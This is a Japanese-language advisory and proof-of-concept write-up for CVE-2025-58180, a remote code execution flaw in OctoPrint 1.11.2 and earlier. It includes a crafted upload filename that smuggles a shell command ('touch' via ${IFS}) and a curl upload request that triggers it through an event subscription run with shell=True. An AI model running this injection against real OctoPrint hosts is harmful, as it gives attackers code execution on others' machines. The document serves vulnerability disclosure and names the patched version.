CVE-2025-58180 OctoPrint のファイルアップロードにおける無害化されていないファイル名によるRCE

OctoPrint バージョン <=1.11.2 において、ファイルアップロードアクセス（有効なAPIキーやセッションなど）を持つ攻撃者は、サニタイズ（無害化）をバイパスし、後に OctoPrint のイベントシステムによって実行される悪意のあるファイル名を作成できます。これにより、ホスト上でリモートコード実行（RCE）が発生します。

PoC: 脆弱性再現の手順

ステップ 1: バージョン情報

最新安定版リリースをダウンロード: OctoPrint 1.11.2

ステップ 2: OctoPrint の実行

octoprint serve --port 5000 --debug

ブラウザで http://127.0.0.1:5000 を開く。
初期ウィザードを進め、デフォルト設定（接続、匿名、プラグインは無効）でユーザーを作成する。
API キーを Settings → API から取得し、後で使用するために保存する。

上記の手順が完了したら、OctoPrint サービスを停止する。

ステップ 3: イベントサブスクリプションの設定

OctoPrint イベントドキュメントに従う：

~/.octoprint/config.yaml を編集：

events:
  enabled: true
  subscriptions:
    - event: FileAdded
      type: system
      debug: true
      command: "{path}"

ステップ 4: サンプル G コードの作成

/tmp/gcode/ok.gcode を作成：

; minimal gcode
G28
M105

OctoPrint サービスを再起動する。

ステップ 5: 概念実証 RCE

API キーをエクスポート：

export API_KEY='<key previously gathered from webUI>'

ファイルが存在しないことを確認：

ls -la /tmp/test123

悪意のあるファイル名のペイロードを作成：
INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'

説明: ${IFS} はシェルの内部フィールド区切り文字（通常はスペース）です。注入時にサニタイズをバイパスします。

curl リクエストを送信：

curl -sS -X POST -H "X-Api-Key: $API_KEY" \
  -F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
  "http://127.0.0.1:5000/api/files/local"

実行を確認：

ls -la /tmp/test123

/tmp/test123 が存在する場合、注入されたコマンドが正常に実行され → RCE が確認されます。

フローの説明

[ユーザーが細工されたファイル名でアップロード]
        │
        ▼
server/api/files.py → 生のファイル名を受け付ける（メタ文字が sanitize_name を生き残る）
        │
        ▼
events.py (EventManager.fire "FileAdded") → ペイロード {path} に生の文字が含まれる
        │
        ▼
システムコマンドサブスクライバー → subprocess.check_call(..., shell=True)
        │
        ▼
[注入されたシェルメタ文字が OS コマンドとして実行される]

まとめ

ファイルがアップロードされると：

OctoPrint はファイル名を受け付ける（限定的なサニタイズあり）。
FileAdded イベントをトリガーする。
システムコマンドがこのイベントにサブスクライブされている場合、生のファイル名（;、${IFS} などを含む）がシェルに渡される。
これにより、ファイル名内に注入されたコマンドがホスト上で実行される。

結果: ホストシステム上でのリモートコード実行（RCE）。

参照

CVE 割り当て:(CVE-2025-58180) GHSA-49mj-x8jp-qvfc
パッチ適用バージョン: 1.11.3

CVE-2025-58180

人気